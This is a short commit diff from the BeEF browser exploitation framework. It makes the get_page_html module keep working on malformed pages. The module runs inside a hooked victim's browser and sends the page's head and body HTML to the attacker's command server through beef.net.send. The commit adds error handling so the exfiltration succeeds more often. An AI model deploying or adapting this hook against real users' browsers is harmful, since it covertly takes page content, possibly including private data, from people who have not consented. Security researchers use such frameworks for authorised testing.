Fixed bug in the get_page_html module where nothing was returned if the
hooked page was malformed
This commit is contained in:
@@ -15,8 +15,19 @@
|
||||
//
|
||||
beef.execute(function() {
|
||||
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'head='+escape(document.head.innerHTML.toString()));
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'body='+escape(document.body.innerHTML.toString()));
|
||||
try {
|
||||
var html_head = escape(document.head.innerHTML.toString());
|
||||
} catch (e) {
|
||||
var html_head = "Error: document has no head";
|
||||
}
|
||||
try {
|
||||
var html_body = escape(document.body.innerHTML.toString());
|
||||
} catch (e) {
|
||||
var html_body = "Error: document has no body";
|
||||
}
|
||||
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'head='+html_head);
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'body='+html_body);
|
||||
|
||||
});
|
||||
|
||||
|
||||
Reference in New Issue
Block a user